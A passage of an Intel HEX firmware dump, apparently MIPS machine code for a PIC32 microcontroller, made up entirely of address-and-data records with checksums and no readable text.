:10a5a000ff00423021204000dd34410f0000000058
:10a5b00007004010000000002120000002bc400ff6
:10a5c000000000003000c2a38069400b00000000c2
:10a5d000029d023cd0ee442435bc400f0000000038
:10a5e0003000c2a38069400b00000000029d023cc5
:10a5f00030ed442435bc400f000000003000c2a301
:10a600008800c48f029d023cf0ee45240900062418
:10a610007654410f000000002700401400000000a5
:10a620008800c28f090043246000c22721206000f7
:10a63000029d033cccee652421304000b355410f10
:10a6400000000000211840000100022415006214df
:10a65000000000006000c28fff0042302120400057
:10a66000ee34410f00000000070040100000000021
:10a670002120000002bc400f000000003000c2a3f7
:10a68000ae69400b00000000029d023cfcee442439
:10a6900035bc400f000000003000c2a3ae69400b83
:10a6a00000000000029d023c30ed442435bc400f08
:10a6b000000000003000c2a38800c48f029d023c4d
:10a6c00008ef4524734d410f0000000011004014b5
:10a6d000000000000100042402bc400f0000000044
:10a6e0003000c2a3029d023c3cec4424029d023c8b
:10a6f00010ef45242013410f00000000212000002e
:10a7000021280000513f410f000000005c15410f5f
:10a71000000000008800c48f029d023c48ef4524e1
:10a72000734d410f000000000900401400000000bc
:10a730002120000002bc400f000000003000c2a336
:10a7400088bf033c206062948473027c206062a412
:10a750008800c48f029d023c54ef4524734d410f85
:10a76000000000000a00401400000000212000004a
:10a7700002bc400f000000003000c2a388bf033cb1
:10a7800020606294010004248473827c206062a4af
:10a790008800c48f029d023c60ef4524050006241a
:10a7a0007654410f000000008b00401400000000b0
:10a7b0008800c28f050044246000c3276400c227bc
:10a7c000029d053c50eea524213060002138400058
:10a7d000b355410f000000006800c2af6800c28f8f
:10a7e00005004010000000006800c38f0100022433
:10a7f00005006210000000006800c38f0200022400
:10a8000070006214000000006800c38f0100022481
:10a8100003006214000000006000c28f6400c2af39
:10a8200000a0023cdc564224b400428cffff4324cb
:10a830006000c28f2b10620009004014000000006d
:10a8400000a0023cdc564224b400428cffff4324ab
:10a850006400c28f2b10620008004010000000004e
:10a86000029d023c68ef442435bc400f000000000c
:10a870003000c2a36f6a400b000000006000c38f6d
:10a880006400c28f00a0043cdc24842421286000e2
:10a8900021304000cc43410f00000000080040146c
:10a8a00000000000029d023c84ef442435bc400fb0
:10a8b000000000003000c2a36f6a400b00000000df
:10a8c0000100042402bc400f000000003000c2a3bd
:10a8d00000a0023cdc564224b800428c82180200e0
:10a8e00000a0023cf46c422421106200000040a051
:10a8f0006000c28f3400c2af3800c0af666a400b40
:10a9000000000000029d023c94ef44243400c58ff7
:10a910008513410f0000000000a0023cdc564224d9
:10a92000b800428c821802003800c28f1800620002
:10a9300000a0023cdc2442241220000021188200e6
:10a9400000a0023cdc564224b800428c8210020077
:10a9500000a0043cf46c84242128600021304000d5
:10a96000494a410f00000000029d023c64ed44246e
:10a9700000a0023cf46c45242013410f00000000ad
:10a980003400c28f010042243400c2af3800c28fad
:10a99000010042243800c2af6400c28f3400c38f6c
:10a9a0002b104300d7ff4010000000005c15410f42
:10a9b00000000000766a400b00000000766a400b41
:10a9c00000000000029d023c9cef442435bc400f77
:10a9d000000000003000c2a38800c48f029d023c2a
:10a9e000b8ef4524040006247654410f000000000f
:10a9f0001f0040140000000000a0023cdc5642246e
:10aa00008700429015004010000000008800c28faf
:10aa100004004224212040003736410f000000008e
:10aa200007004010000000002120000002bc400f81
:10aa3000000000003000c2a39c6a400b0000000030
:10aa4000029d023c4ced442435bc400f0000000048
:10aa50003000c2a39c6a400b00000000029d023c33
:10aa6000c0ef442435bc400f000000003000c2a3fa
:10aa70008800c48f029d023cd4ef4524734d410fe2
:10aa80000000000008004010000000008800c48f93
:10aa9000029d023ce0ef4524734d410f0000000091
:10aaa000650040140000000000a0023cd85742900e
:10aab0000800401400000000029d023cecef44241a
:10aac00035bc400f000000003000c2a30e6b400bed
:10aad0000000000000a0023cdc56422487004290a7
:10aae0005800c2a300a0023cd85742240100429063
:10aaf000090040100000000000a0023cd85742248a
:10ab00000100429021204000abc0400f0000000037
:10ab1000cb6a400b0000000000a0023cd8574290d6
:10ab200021204000abc0400f0000000000a0023c0c
:10ab3000dc5642248700429000a0033cdc246424bd
:10ab400000a0033cda576524213040007e2c410fe1
:10ab5000000000000800401400000000029d023cbc
:10ab600008f0442435bc400f000000003000c2a3b0
:10ab70000e6b400b000000002120000002bc400fc3
:10ab8000000000003000c2a38800c48f029d023c78
:10ab9000e0ef4524734d410f000000000900401410
:10aba0000000000001000224908082af00a0023c5f
:10abb000dc2444243736410f000000000e6b400bac
:10abc00000000000006b400b000000000300023c8e
:10abd00090d04434400e410f0000000088bf023c7a
:10abe0002061428c040042300100422cff004430be
:10abf00088bf033c206162948410827c206162a43f
:10ac00004715410f0000000007004014000000003d
:10ac100000a0023cdc2444243736410f0000000031
:10ac2000eaff4014000000005800c29321204000b9
:10ac3000abc0400f000000008800c48f029d023ca2
:10ac400018f04524070006247654410f0000000048
:10ac5000610040140000000000a0023cdc564224c9
:10ac600087004290570040100000000000a0023c06
:10ac7000f46c40a000a0023cf46d40a08800c28f9c
:10ac80000700422421204000029d023cb4ee4524ee
:10ac900000a0023cf46c462400a0023cf46d472462
:10aca000b355410f00000000030042284a00401045
:10acb0000000000000a0023cf46c4224000042802e
:10acc000450040100000000000a0023cf46d42244a
:10acd00000004280220040140000000000a0023c5e
:10ace000dc5642248700429000a0033c5c4564246b
:10acf00000a0033cf46c65242130400069c5400f7e
:10ad0000000000000f0040100000000001000424bb
:10ad100002bc400f000000003000c2a3029d023cb4
:10ad200064ed442400a0023c5c4545242013410fff
:10ad3000000000005c15410f00000000766b400b26
:10ad400000000000029d023c20f0442435bc400f6e
:10ad5000000000003000c2a3766b400b0000000032
:10ad600000a0023cdc5642248700429000a0033c35
:10ad7000f46d64242128400000a0023cf46c4624b9
:10ad80005ee8400f000000000700401000000000d7
:10ad90002120000002bc400f000000003000c2a3d0
:10ada000766b400b00000000029d023c30f0442412
:10adb00035bc400f000000003000c2a3766b400b92
:10adc00000000000029d023cc0ef442435bc400f4f
:10add000000000003000c2a38800c48f029d023c26
:10ade00044f04524734d410f00000000af004014b3
:10adf000000000000100042402bc400f000000001d
:10ae00003000c2a3029d023c3cec4424029d023c63
:10ae100050f045242013410f00000000029d023c29
:10ae20003cec4424029d023c6cf045242013410f6d
:10ae300000000000029d023c3cec4424029d023cc8
:10ae40008cf045242013410f00000000029d023cbd
:10ae50003cec4424029d023ca0f045242013410f09
:10ae600000000000029d023c3cec4424029d023c98
:10ae7000c8f045242013410f00000000029d023c51
:10ae80003cec4424029d023c8cf045242013410fed
:10ae900000000000029d023c3cec4424029d023c68
:10aea000e8f045242013410f00000000029d023c01
:10aeb0003cec4424029d023c10f145242013410f38
:10aec00000000000029d023c3cec4424029d023c38
:10aed0003cf145242013410f00000000029d023c7c
:10aee0003cec4424029d023c50f145242013410fc8
:10aef00000000000029d023c3cec4424029d023c08
:10af000084f145242013410f00000000029d023c03
:10af10003cec4424029d023c3cf145242013410fab
:10af200000000000029d023c3cec4424029d023cd7
:10af3000a0f145242013410f00000000029d023cb7
:10af40003cec4424029d023cf0f145242013410fc7
:10af500000000000029d023c3cec4424029d023ca7
:10af600010f245242013410f00000000029d023c16
:10af70003cec4424029d023c30f245242013410f56
:10af800000000000029d023c3cec4424029d023c77
:10af900048f245242013410f00000000029d023cae
:10afa0003cec4424029d023c60f245242013410ff6
:10afb00000000000029d023c3cec4424029d023c47
:10afc00080f245242013410f00000000029d023c46
:10afd0003cec4424029d023c98f245242013410f8e
:10afe00000000000029d023c3cec4424029d023c17
:10aff000b0f245242013410f00000000029d023ce6
:10b000003cec4424029d023cdcf245242013410f19
:10b0100000000000029d023c3cec4424029d023ce6
:10b02000f0f245242013410f00000000029d023c75
:10b030003cec4424029d023c04f345242013410fc0
:10b0400000000000029d023c3cec4424029d023cb6
:10b0500020f345242013410f00000000029d023c14
:10b060003cec4424029d023c38f345242013410f5c
:10b0700000000000029d023c3cec4424029d023c86
:10b0800054f345242013410f00000000029d023cb0
:10b090003cec4424029d023c74f345242013410ff0
:10b0a000000000005c15410f000000008800c48f04
:10b0b000029d023c84f34524040006247654410f8b
:10b0c000000000003e004014000000008800c28f15
:10b0d000040042246000c3271000a3af6400c3270c
:10b0e0001400a3af6800c3271800a3af6c00c327e8
:10b0f0001c00a3af21204000029d023c8cf345249c
:10b1000000a0023cf46c4624e8808727b355410f29
:10b1100000000000211840000600022423006214f1
:10b1200000000000029d023ca0f3442400a0023c69
:10b13000f46c45242013410f00000000e880858f47
:10b140006000c38f6400c28f6800c68f6c00c48f1c
:10b150001000a6af1400a4af00a0043cf46c84243b
:10b160002130600021384000cef8400f0000000080
:10b1700007004010000000002120000002bc400f2a
:10b18000000000003000c2a3706c400b0000000003
:10b19000029d023c20ed442435bc400f000000001d
:10b1a0003000c2a3706c400b00000000029d023c06
:10b1b00030ed442435bc400f000000003000c2a335
:10b1c0008800c48f029d023cacf34524734d410faf
:10b1d000000000000e0040140000000001000424e4
:10b1e00002bc400f000000003000c2a3540b410f0e
:10b1f00000000000029d033cb8f3642421284000b5
:10b200008513410f000000005c15410f0000000095
:10b210008800c48f029d023cc0f345240900062427
:10b220007654410f000000000c00401400000000a4
:10b230000100042402bc400f000000003000c2a343
:10b240008800c28f09004224212040000ebb400f1d
:10b25000000000005c15410f000000008800c48f52
:10b26000029d023cccf345240d0006247654410f88
:10b27000000000002a0040140000000000a0023c72
:10b28000dc56422487004390080002240800621024
:10b2900000000000029d023cdcf3442435bc400f5a
:10b2a000000000003000c2a3c86c400b000000008a
:10b2b0008800c28f0d00422400a0033cdc246424db
:10b2c000212840009d8d400f000000000f0040101d
:10b2d000000000000100042402bc400f0000000038
:10b2e0003000c2a3029d023c64ed442400a0023c55
:10b2f000dc2445242013410f000000005c15410fa1
:10b3000000000000c86c400b00000000029d023ce1
:10b31000f8f3442435bc400f000000003000c2a305
:10b320008800c48f029d023c04f4452411000624c9
:10b330007654410f000000002a0040140000000075
:10b3400000a0023cdc5642248700439008000224ff
:10b350000800621000000000029d023cdcf344245f
:10b3600035bc400f000000003000c2a3f96c400b58
:10b37000000000008800c28f1100422400a0033c9e
:10b38000dc24642421284000439b400f000000007f
:10b390000f004010000000000100042402bc400f18
:10b3a000000000003000c2a3029d023c64ed442472
:10b3b00000a0023cdc2445242013410f00000000c3
:10b3c0005c15410f00000000f96c400b000000000c
:10b3d000029d023cf8f3442435bc400f00000000fd
:10b3e0003000c2a38800c48f029d023c18f445249b
:10b3f0000d0006247654410f000000006300401445
:10b400000000000000a0023cdc564224870043906c
:10b41000080002240800621000000000029d023ca7
:10b42000dcf3442435bc400f000000003000c2a310
:10b43000636d400b0000000000a0023cf46c40a0d3
:10b4400000a0023cf46d40a0010002246000c2afe5
:10b450008800c28f0e00422421204000029d023c41
:10b46000b4ee452400a0023cf46c462400a0023c4b
:10b47000f46d4724b355410f00000000020042283c
:10b480001a00401000000000029d023c28f44424f1
:10b4900000a0023cf46c4524734d410f00000000f5
:10b4a000120040140000000000a0023c029d033c7a
:10b4b0002cf4648c2cf465240400a68c2cf46524f4
:10b4c0000800a58cf46c44acf46c4424040086acf5
:10b4d000f46c4424080085ac2cf46324f46c4224fe
:10b4e0000c0063900c0043a06000c0af029d023cc2
:10b4f00028f4442400a0023cf46d4524734d410f10
:10b500000000000002004014000000006000c0af16
:10b510000100042402bc400f000000003000c2a360
:10b520005b6d400b000000006000c28f00a0033c78
:10b53000dc24642400a0033cf46c6524213040002a
:10b54000689d400f0000000088bf023c2061428cd3
:10b55000040042300100422cff00443088bf033c0d
:10b56000206162948410827c206162a44715410f9f
:10b5700000000000ecff4010000000005c15410fcf
:10b5800000000000e00c410f000000008800c48fa4
:10b59000029d023c3cf44524160006247654410fdb
:10b5a00000000000070040140000000021200000ff
:10b5b00002bc400f000000003000c2a3da9d400f23
:10b5c000000000008800c48f029d023c54f4452412
:10b5d000160006247654410f0000000009004014b4
:10b5e000000000000100042402bc400f0000000025
:10b5f0003000c2a3669e400f000000005c15410fa2
:10b60000000000008800c48f029d023c6cf44524b9
:10b61000150006247654410f000000002f0040144e
:10b62000000000000100042402bc400f00000000e4
:10b630003000c2a38800c48fa34a410f000000005d
:10b640001600422c1b004014000000008800c28f2e
:10b65000150044246000c3276400c227029d053cf6
:10b6600050eea5242130600021384000b355410f31
:10b67000000000006800c2af6800c28f05004014df
:10b68000000000006000c0af6400c0afaf6d400bb1
:10b69000000000006800c38f01000224070062144c
:10b6a000000000006000c28f6400c2afaf6d400bad
:10b6b000000000006000c0af6400c0af6000c38f36
:10b6c0006400c28f21206000212840008d9e400f21
:10b6d000000000005c15410f000000008800c48fce
:10b6e000029d023c84f445240f0006247654410f49
:10b6f000000000001d004014000000008800c28f00
:10b700000f00422400a0033cdc24642421284000d4
:10b710005591400f000000000f0040100000000095
:10b720000100042402bc400f000000003000c2a34e
:10b73000029d023c64ed442400a0023cdc2445242c
:10b740002013410f000000005c15410f00000000b5
:10b75000db6d400b00000000029d023cf8f3442426
:10b7600035bc400f000000003000c2a38800c48f29
:10b77000029d023c94f44524120006247654410fa5
:10b78000000000001d004014000000008800c28f6f
:10b790001200422400a0033cdc2464242128400041
:10b7a000a59a400f000000000f00401000000000ac
:10b7b0000100042402bc400f000000003000c2a3be
:10b7c000029d023c64ed442400a0023cdc2445249c
:10b7d0002013410f000000005c15410f0000000025
:10b7e000ff6d400b00000000029d023cf8f3442472
:10b7f00035bc400f000000003000c2a38800c48f99
:10b80000029d023ca8f44524120006247654410f00
:10b81000000000001d004014000000008800c28fde
:10b820001200422400a0033cdc24642421284000b0
:10b83000e19a400f000000000f00401000000000df
:10b840000100042402bc400f000000003000c2a32d
:10b85000029d023c64ed442400a0023cdc2445240b
:10b860002013410f000000005c15410f0000000094
:10b87000236e400b00000000029d023cf8f34424bc
:10b8800035bc400f000000003000c2a38800c48f08
:10b89000029d023cbcf44524040006247654410f6a
:10b8a0000000000027004014000000008800c28f44
:10b8b000040043246000c22721206000029d033c55
:10b8c000ccee652421304000b355410f000000004c
:10b8d000211840000100022415006214000000003d
:10b8e0006000c28fff00423021204000662f410fd0
:10b8f00000000000070040100000000021200000b0
:10b9000002bc400f000000003000c2a3516e400b8b
:10b9100000000000029d023cc4f4442435bc400fea
:10b92000000000003000c2a3516e400b0000000078
:10b93000029d023c30ed442435bc400f0000000065
:10b940003000c2a38800c48f029d023cd4f4452479
:10b95000060006247654410f000000002700401422
:10b96000000000008800c28f060043246000c22748
:10b9700021206000029d033cccee65242130400074
:10b98000b355410f000000002118400001000224bf
:10b9900015006214000000006000c28fff004230fa
:10b9a000212040007f2f410f0000000007004010c1
:10b9b000000000002120000002bc400f0000000039
:10b9c0003000c2a37f6e400b00000000029d023ccd
:10b9d000c4f4442435bc400f000000003000c2a372
:10b9e0007f6e400b00000000029d023c30ed4424bd
:10b9f00035bc400f000000003000c2a38800c48f97
:10ba0000029d023cdcf44524070006247654410fd5
:10ba10000000000027004014000000008800c28fd2
:10ba2000070043246000c22721206000029d033ce0
:10ba3000ccee652421304000b355410f00000000da
:10ba400021184000010002241500621400000000cb
:10ba50006000c28fff00423021204000902f410f34
:10ba6000000000000700401000000000212000003e
:10ba700002bc400f000000003000c2a3ad6e400bbe
:10ba800000000000029d023cfcee442435bc400f47
:10ba9000000000003000c2a3ad6e400b00000000ab
:10baa000029d023c30ed442435bc400f00000000f4
:10bab0003000c2a38800c48f029d023ce4f44524f8
:10bac000734d410f0000000007004014000000000b
:10bad0002120000002bc400f000000003000c2a383
:10bae0004624410f000000008800c48f029d023ce4
:10baf000ecf44524050006247654410f00000000b4
:10bb0000360040140000000000a0023cf46c40a08d
:10bb10006000c0af8800c28f050043246000c227c8
:10bb200021206000029d033c5ced652400a0033ce5
:10bb3000f46c662421384000b355410f000000002a
:10bb4000030042280800401400000000029d023c4f
:10bb500030ed442435bc400f000000003000c2a38b
:10bb6000f76e400b000000006000c28f21204000f3
:10bb700000a0023cdc24452400a0023cf46c4624d6
:10bb8000de50410f000000000f00401000000000d8
:10bb90000100042402bc400f000000003000c2a3da
:10bba000029d023c64ed442400a0023cdc244524b8
:10bbb0002013410f000000005c15410f0000000041
:10bbc000f76e400b00000000029d023cf4f4442498
:10bbd00035bc400f000000003000c2a38800c48fb5
:10bbe000029d023c04f54524734d410f0000000006
:10bbf0000d004014000000000100042402bc400fae
:10bc0000000000003000c2a3029d023c64ed442409
:10bc1000029d023c0cf545242013410f000000005a
:10bc20005c15410f000000008800c48f029d023c9b
:10bc300014f54524734d410f000000000900401425
:10bc4000000000000100042402bc400f00000000be
:10bc50003000c2a3962b410f000000005c15410f7d
:10bc6000000000008800c48f029d023c1cf54524a2
:10bc7000070006247654410f0000000043004014e2
:10bc8000000000008800c28f070044245800c3272a
:10bc90006400c227029d053c24f5a52421306000e4
:10bca00021384000b355410f00000000211840002a
:10bcb0000200022405006214000000005800c39333
:10bcc0004800022405006210000000005800c393e1
:10bcd0004c0002242800621400000000496f400b51
:10bce000000000005800c293480042382b100200a8
:10bcf000ff0042302120400000a0023cf46c4524ab
:10bd0000162b410f00000000ff0042305800c2a374
:10bd10005800c29303004010000000004e6f400b1b
:10bd2000000000006400c28fffff43246400c3af23
:10bd3000ecff4014000000005800c29308004010bf
:10bd400000000000029d023c2cf5442435bc400f4d
:10bd5000000000003000c2a3636f400b0000000031
:10bd60002120000002bc400f000000003000c2a3f0
:10bd7000636f400b00000000029d023c44f5442428
:10bd800035bc400f000000003000c2a38800c48f03
:10bd9000029d023c58f54524070006247654410fc5
:10bda0000000000044004014000000008800c28f22
:10bdb000070044245800c3276400c227029d053ca5
:10bdc00024f5a5242130600021384000b355410fef
:10bdd0000000000021184000020002240500621447
:10bde000000000005800c3934800022405006210c0
:10bdf000000000005800c3934c0002242900621484
:10be000000000000946f400b000000005800c29337
:10be1000480042382b100200ff0042302120400031
:10be20002128000000a0023cf46c4624f62a410fb1
:10be300000000000ff0042305800c2a35800c29327
:10be40000300401000000000996f400b000000004c
:10be50006400c28fffff43246400c3afebff4014b4
:10be6000000000005800c2930800401000000000cd
:10be7000029d023c60f5442435bc400f00000000e8
:10be80003000c2a3ae6f400b000000002120000074
:10be900002bc400f000000003000c2a3ae6f400b98
:10bea00000000000029d023c78f5442435bc400fa0
:10beb000000000003000c2a38800c48f029d023c35
:10bec0008cf54524070006247654410f000000003d
:10bed00038004014000000008800c28f070044248e
:10bee0005800c3276400c227029d053c24f5a52401
:10bef0002130600021384000b355410f00000000a0
:10bf00002118400002000224050062140000000015
:10bf10005800c3934800022405006210000000008e
:10bf20005800c3934c0002241d006214000000005e
:10bf30005800c293480042382b100200ff004230e4
:10bf4000211840006400c28f2120600021280000d9
:10bf50002130400000a0023cf46c4724662b410fc6
:10bf60000000000007004014000000002120000035
:10bf700002bc400f000000003000c2a3ed6f400b78
:10bf800000000000029d023c94f5442435bc400fa3
:10bf9000000000003000c2a3ed6f400b0000000065
:10bfa000029d023ca4f5442435bc400f0000000073
:10bfb0003000c2a38800c48f029d023cb8f545241e
:10bfc000090006247654410f000000003800401498
:10bfd000000000008800c28f090044245800c327d5
:10bfe0006400c227029d053c24f5a5242130600091
:10bff00021384000b355410f0000000021184000d7
:10c000000200022405006214000000005800c393df
:10c010004800022405006210000000005800c3938d
:10c020004c0002241d006214000000005800c2935e
:10c03000480042382b100200ff0042302118400017
:10c040006400c28f212060000100052421304000df
:10c0500000a0023cf46c4724662b410f0000000056
:10c0600007004014000000002120000002bc400f27
:10c07000000000003000c2a32c70400b0000000044
:10c08000029d023c94f5442435bc400f00000000a2
:10c090003000c2a32c70400b00000000029d023c47
:10c0a000a4f5442435bc400f000000003000c2a3ba
:10c0b0008800c48f029d023cc4f545240800062474
:10c0c0007654410f000000004200401400000000c0
:10c0d0008800c28f080044245800c3275c00c22790
:10c0e000029d053cd0f5a524213060002138400098
:10c0f000b355410f00000000211840000200022447
:10c1000005006214000000005800c3934800022498
:10c1100005006210000000005800c3934c00022488
:10c1200027006214000000005c00c38f029d023ce7
:10c13000212060007036458caf45410f00000000a3
:10c1400021204000a453410f000000006400c2af52
:10c150005800c293480042382b100200ff004230c2
:10c16000211840006400c28f2120600021280000b7
:10c170002130400000a0023cf46c4724662b410fa4
:10c180000000000007004014000000002120000013
:10c1900002bc400f000000003000c2a37570400bcd
:10c1a00000000000029d023c94f5442435bc400f81
:10c1b000000000003000c2a37570400b00000000ba
:10c1c000029d023ca4f5442435bc400f0000000051
:10c1d0003000c2a38800c48f029d023cd8f54524dc
:10c1e000050006247654410f00000000340040147e
:10c1f000000000008800c28f050042246000c327b1
:10c200001000a3af6400c3271400a3af6800c327c6
:10c210001800a3af21204000029d023ce0f5452418
:10c2200000a0023cf46c4624e8808727b355410ff8
:10c230000000000021184000050002241b006214c9
:10c2400000000000e880858f6000c38f6400c28f0b
:10c250006800c48f1000a4af00a0043cf46c8424d8
:10c2600021306000213840009d07410f0000000090
:10c2700007004010000000002120000002bc400f19
:10c28000000000003000c2a3b070400b00000000ae
:10c29000029d023c20ed442435bc400f000000000c
:10c2a0003000c2a3b070400b00000000029d023cb1
:10c2b00030ed442435bc400f000000003000c2a324
:10c2c0008800c48f029d023cf0f54524040006243a
:10c2d0007654410f000000003600401400000000ba
:10c2e0008800c28f040044246000c3276400c22772
:10c2f0006800c5271000a5af6c00c5271400a5afc6
:10c300007000c5271800a5af7400c5271c00a5af95
:10c310007800c5272000a5af7c00c5272400a5af65
:10c32000029d053cf8f5a52421306000213840002d
:10c33000b355410f000000002118400008000224fe
:10c3400017006214000000006000c48f6400c58ff5
:10c350006800c38f6c00c28f7000c98f7400c88fd3
:10c360007800c78f7c00c68f1000a9af1400a8af5b
:10c370001800a7af1c00a6af213060002138400094
:10c38000053b410f000000002120000002bc400fcf
:10c39000000000003000c2a3ed70400b0000000060
:10c3a000029d023c30ed442435bc400f00000000eb
:10c3b0003000c2a38800c48f029d023c10f64524c1
:10c3c000050006247654410f00000000a50040142b
:10c3d000000000008800c28f050044246000c327cd
:10c3e0006400c227029d053c50eea5242130600068
:10c3f00021384000b355410f000000006800c2af73
:10c400006800c28f05004010000000006800c38f64
:10c410000100022405006210000000006800c38fc4
:10c42000020002248a006214000000006800c38f2a
:10c430000100022403006214000000006000c28fab
:10c440006400c2af00a0023cdc5642248700439047
:10c4500000a0023cd8574290080062100000000083
:10c46000029d023c18f6442435bc400f0000000039
:10c470003000c2a39271400b0000000000a0023cfb
:10c48000dc564224b400428cffff43246000c28f7c
:10c490002b106200090040140000000000a0023cc4
:10c4a000dc564224b400428cffff43246400c28f58
:10c4b0002b1062000800401000000000029d023caa
:10c4c00068ef442435bc400f000000003000c2a3d8
:10c4d0009271400b0000000000a0023cd85742249b
:10c4e0000412428c821802006000c28f18006200a1
:10c4f000121000000002432400a0023cd85742243e
:10c5000021106200030044246000c38f6400c28fc6
:10c510002128600021304000cc43410f0000000082
:10c520000800401400000000029d023c84ef4424f7
:10c5300035bc400f000000003000c2a39271400bd8
:10c54000000000000100042402bc400f00000000b5
:10c550003000c2a300a0023cdc564224b800428c4a
:10c560008218020000a0023cf46c422421106200f8
:10c57000000040a06000c28f3400c2af8571400b44
:10c5800000000000029d023c94ef44243400c58f5b
:10c590008513410f0000000000a0023cdc5642243d
:10c5a000b800428c821802003400c28f180062006a
:10c5b000122000000002832400a0023cd85742242d
:10c5c000211062000300432400a0023cdc564224f8
:10c5d000b800428c8210020000a0043cf46c842459
:10c5e0002128600021304000494a410f000000002e
:10c5f000029d023c64ed442400a0023cf46c4524fe
:10c600002013410f000000003400c28f01004224bb
:10c610003400c2af6400c28f3400c38f2b104300bc
:10c62000d8ff401000000000029d023c3cec442476
:10c63000029d023c48ed45242013410f00000000fc
:10c640009971400b000000009971400b0000000040
:10c65000029d023c9cef442435bc400f00000000ca
:10c660003000c2a38800c48f029d023c30f64524ee
:10c67000734d410f00000000340040140000000022
:10c6800000a0023cdc56422487004290080040147f
:10c6900000000000029d023c38f6442435bc400fe7
:10c6a000000000003000c2a3d371400b0000000066
:10c6b0000100042402bc400f000000003000c2a3af
:10c6c000cb71400b0000000000a0023cdc5642246d
:10c6d0008700429000a0033cdc2464242128400011
:10c6e0001e2d410f00000000070040100000000058
:10c6f000029d023c64ed442400a0023cdc2445245d
:10c700002013410f0000000088bf023c2061428cd2
:10c71000040042300100422cff00443088bf033c3b
:10c72000206162948410827c206162a44715410fcd
:10c7300000000000e4ff4010000000005c15410f05
:10c7400000000000e00c410f000000008800c48fd2
:10c75000029d023c4cf64524734d410f0000000041
:10c760000b004014000000002120000002bc400f1c
:10c77000000000003000c2a30f00023c40424434dd
:10c78000400e410f00000000c453410f00000000a4
:10c790008800c48f029d023c54f64524734d410f1e
:10c7a00000000000390040140000000001000424d3
:10c7b00002bc400f000000003000c2a380bf023c5a
:10c7c0002002428c4800c2af80bf023c2002428c53
:10c7d0004c00c2af4800c38f4c00c28ff7ff6214f9
:10c7e000000000004800c28f348282af80bf023c4c
:10c7f0003002428c5000c2af80bf023c3002428cfb
:10c800005400c2af5000c38f5400c28ff7ff6214b0
:10c81000000000005000c28f308282af33828293ca
:10c820002118400032828293318284932138800023
:10c8300037828493213080003682849321288000bf
:10c84000358284931000a7af1400a6af1800a5afdf
:10c850001c00a4af00a0043c5c458424029d053c60
:10c8600058f6a5242130600021384000ac54410f17
:10c8700000000000029d023c64ed442400a0023c44
:10c880005c4545242013410f000000008800c48f40
:10c89000029d023c78f64524040006247654410f9c
:10c8a0000000000048004014000000008800c28f13
:10c8b0000400422421204000029d023c3cec45241f
:10c8c00000a0023cf46c4624b355410f0000000068
:10c8d000211840000100022436006214000000000c
:10c8e00000a0023cf46c4424a34a410f0000000065
:10c8f00000a0033cdc5663249c00688c00a0033c31
:10c90000dc566324ec00678c00a0033cdc566324f7
:10c91000f000668c00a0033cdc566324e400658cc8
:10c9200000a0033cdc566324e800648c00a0033cb8
:10c93000dc566324e000638c040009241000a9afd6
:10c940001400a8af1800a7af1c00a6af2000a5af29
:10c950002400a4af2800a3af2c00a0af00a0033c8c
:10c96000f46c6424212840000100062401000724ff
:10c97000313b410f000000000700401000000000a4
:10c980002120000002bc400f000000003000c2a3c4
:10c990007272400b00000000029d023c80f64424ad
:10c9a00035bc400f000000003000c2a37272400b83
:10c9b00000000000029d023c30ed442435bc400fd5
:10c9c000000000003000c2a38800c48f029d023c1a
:10c9d000b0f64524734d410f0000000010004014d4
:10c9e000000000000324410f000000000700401079
:10c9f000000000002120000002bc400f00000000e9
:10ca00003000c2a38872400b00000000029d023c6f
:10ca1000b8f6442435bc400f000000003000c2a32b
:10ca20008800c48f029d023cc8f6452406000624f7
:10ca30007654410f00000000330040140000000055
:10ca400000a0023cf46c40a08800c28f0600432482
:10ca50006000c22721206000029d033c3cec65245d
:10ca600000a0033cf46c662421384000b355410f0c
:10ca700000000000020042281e00401000000000dc
:10ca800000a0023cdc24442400a0023cf46c4524b9
:10ca90000c52410f000000000f0040100000000089
:10caa0000100042402bc400f000000003000c2a3bb
:10cab000029d023c64ed442400a0023cdc24452499
:10cac0002013410f000000005c15410f0000000022
:10cad000c272400b00000000029d023cd0f64424cc
:10cae00035bc400f000000003000c2a3c272400bf2
:10caf00000000000029d023c30ed442435bc400f94
:10cb0000000000003000c2a38800c48f029d023cd8
:10cb1000e0f64524734d410f00000000080040146a
:10cb20000000000000a0023cdc564224c40040acdf
:10cb30002120000002bc400f000000003000c2a312
:10cb40008800c48f029d023cf0f64524734d410fce
:10cb5000000000000c0040140000000000a0023c97
:10cb6000dc56422401000324c40043ac00a0023c74
:10cb7000dc564224cc0040ac2120000002bc400f17
:10cb8000000000003000c2a38800c48f029d023c58
:10cb900000f74524090006247654410f00000000e8
:10cba0001d004014000000008800c28f09004324cb
:10cbb0006000c22721206000029d033c0cf7652421
:10cbc00021304000b355410f000000002118400003
:10cbd000010002240b006214000000006000c38ffb
:10cbe00000a0023cdc564224b00043ac21200000ef
:10cbf00002bc400f000000003000c2a30673400bcf
:10cc000000000000029d023c10f7442435bc400f98
:10cc1000000000003000c2a38800c48f029d023cc7
:10cc200024f74524070006247654410f0000000035
:10cc30001c004014000000008800c28f070042243e
:10cc400021204000029d023c60ee4524e8808627ba
:10cc5000b355410f000000002118400001000224dc
:10cc60000b00621400000000e880838f00a0023ceb
:10cc7000dc5642249c0043ac2120000002bc400f43
:10cc8000000000003000c2a32973400b0000000028
:10cc9000029d023c2cf7442435bc400f00000000ec
:10cca0003000c2a38800c48f029d023c40f7452497
:10ccb000734d410f00000000080040140000000008
:10ccc00000a0023cdc564224c80040ac21200000f9
:10ccd00002bc400f000000003000c2a38800c48fd7
:10cce000029d023c50f74524734d410f00000000a7
:10ccf000090040140000000000a0023cdc56422461
:10cd000001000324c80043ac2120000002bc400ff6
:10cd1000000000003000c2a38800c48f029d023cc6
:10cd200060f74524734d410f0000000008004014d7
:10cd30000000000000a0023cdc564224cc0040acc5
:10cd40002120000002bc400f000000003000c2a300
:10cd50008800c48f029d023c74f74524734d410f37
:10cd6000000000000c0040140000000000a0023c85
:10cd7000dc56422401000324cc0043ac00a0023c5a
:10cd8000dc564224c40040ac2120000002bc400f0d
:10cd9000000000003000c2a38800c48f029d023c46
:10cda00088f74524080006247654410f000000004f
:10cdb0003f004014000000008800c28f0800422499
:10cdc00021204000029d023c94f74524734d410f01
:10cdd000000000000b0040140000000000a0023c16
:10cde000dc56422401000324a00043a021200000bf
:10cdf00002bc400f000000003000c2a3ac73400b27
:10ce0000000000008800c28f08004224212040005a
:10ce1000029d023c98f74524734d410f000000002d
:10ce20000b0040140000000000a0023cdc5642242d
:10ce300002000324a00043a02120000002bc400ff8
:10ce4000000000003000c2a3ac73400b00000000e3
:10ce50008800c28f0800422421204000029d023c2d
